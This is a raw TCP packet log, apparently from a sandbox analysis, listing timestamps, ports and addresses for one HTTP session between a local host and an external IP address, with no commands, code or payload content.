Dec 23, 2024 17:16:54.971267939 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.974261045 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.974309921 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.974311113 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.974349976 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.977404118 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.977449894 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.977534056 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.977579117 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.980631113 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.980701923 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.980846882 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.980890989 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.983810902 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.983859062 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.984009027 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.984050035 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.986968040 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.987016916 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.987046003 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.987082005 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.990341902 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.990394115 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.990406036 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.990449905 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.993459940 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.993500948 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.993606091 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.993657112 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.996587038 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.996644020 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.996876001 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.996917963 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.999814034 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.999859095 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.000050068 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.000087023 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.003037930 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.003078938 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.003308058 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.003350019 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.006141901 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.006184101 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.006246090 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.006287098 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.009371996 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.009416103 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.009541988 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.009582996 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.012563944 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.012608051 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.012737036 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.012777090 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.015763044 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.015815973 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.095076084 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.095170975 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.095251083 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.095295906 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.096635103 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.096672058 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.096705914 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.096743107 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.098893881 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.098932981 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.099046946 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.099082947 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.101365089 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.101547003 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.101557970 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.101598978 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.103997946 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.104044914 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.104129076 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.104731083 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.106515884 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.106581926 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.106647015 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.106789112 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.109006882 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.109055996 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.109086037 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.109157085 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.111498117 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.111602068 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.111639977 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.111816883 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.114011049 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.114146948 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.114151955 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.114231110 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.116424084 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.116487980 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.116523981 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.116637945 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.118835926 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.118971109 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.118972063 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.119329929 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.121098042 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.121229887 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.121270895 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.121270895 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.123337030 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.123471022 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.123578072 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.124027967 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.125623941 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.125715971 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.125756979 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.125756979 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.127794027 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.127862930 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.127893925 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.128294945 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.129968882 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.130106926 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.130141973 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.130141973 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.132162094 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.132325888 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.132368088 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.132368088 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.134344101 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.134424925 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.134466887 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.134466887 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.136471987 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.136591911 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.136641979 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.136641979 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.138694048 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.138739109 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.138830900 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.138976097 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.140773058 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.140816927 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.140902996 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.141238928 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.142826080 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.142875910 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.142918110 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.143074036 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.144995928 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.145040035 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.145044088 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.145196915 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.147243977 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.147290945 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.147439003 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.147480965 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.149209976 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.149255991 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.149260998 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.149333000 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.151356936 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.151438951 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.151484013 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.151577950 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.153254032 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.153300047 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.153408051 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.153839111 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.155325890 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.155378103 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.155443907 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.155631065 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.157443047 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.157491922 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.157577991 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.157623053 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.159468889 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.159563065 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.159607887 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.159607887 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.161665916 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.161684990 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.161708117 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.161735058 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.164132118 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.164186954 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.164345980 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.164386988 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.165796995 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.165889025 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.165920973 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.166027069 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.167824030 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.167861938 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.167901039 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.167943001 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.169892073 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.169939041 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.170010090 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.170099020 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.172167063 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.172249079 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.172278881 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.172425032 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.174078941 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.174179077 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.174222946 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.174222946 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.176162958 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.176243067 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.176248074 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.176306963 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.178273916 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.178399086 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.178421021 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.178471088 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.180386066 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.180438042 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.180531979 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.181201935 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.182415962 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.182599068 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.182614088 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.182660103 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.184494019 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.184683084 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.184737921 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.184737921 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.186651945 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.186697960 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.186717033 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.186853886 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.188682079 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.188783884 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.188823938 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.188823938 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.190773010 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.190843105 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.191355944 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.191454887 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.192878962 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.192959070 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.193000078 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.193000078 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.194973946 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.195089102 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.195276976 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.195591927 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.197037935 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.197135925 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.197185993 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.197387934 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.199090958 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.199225903 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.199263096 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.199263096 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.201189995 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.201296091 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.201339960 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.201339960 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.203279972 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.203339100 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.203362942 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.203449011 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.287224054 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.287250996 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.287352085 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.288101912 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.288173914 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.288187981 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.288604021 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.289441109 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.289534092 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.289547920 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.289587021 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.291120052 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.291332960 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.291598082 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.291814089 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.292707920 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.292757988 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.292798042 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.292798042 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.294184923 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.294317961 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.294322968 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.294450045 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.295747042 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.295824051 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.295845032 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.295876980 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.297341108 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.297384024 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.297425032 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.297425032 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.298749924 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.298902035 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.298947096 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.298947096 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.300251007 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.300393105 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.300396919 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.300825119 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.301753998 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.301917076 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.301945925 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.301964998 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.303206921 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.303319931 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.303358078 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.303358078 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.304621935 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.304749012 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.304778099 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.304860115 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.306174994 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.306227922 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.306272030 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.306272030 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.307538986 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.307624102 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.307652950 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.307708979 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.308974028 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.309047937 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.309123039 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.309175968 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.310398102 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.310523987 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.310539007 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.310573101 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.311753035 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.311853886 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.311872959 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.311913013 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.313153982 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.313227892 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.313287973 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.313384056 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.314502954 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.314644098 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.314650059 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.314992905 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:55.315825939 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:55.315869093 CET	49733	80	192.168.2.9	31.41.244.11
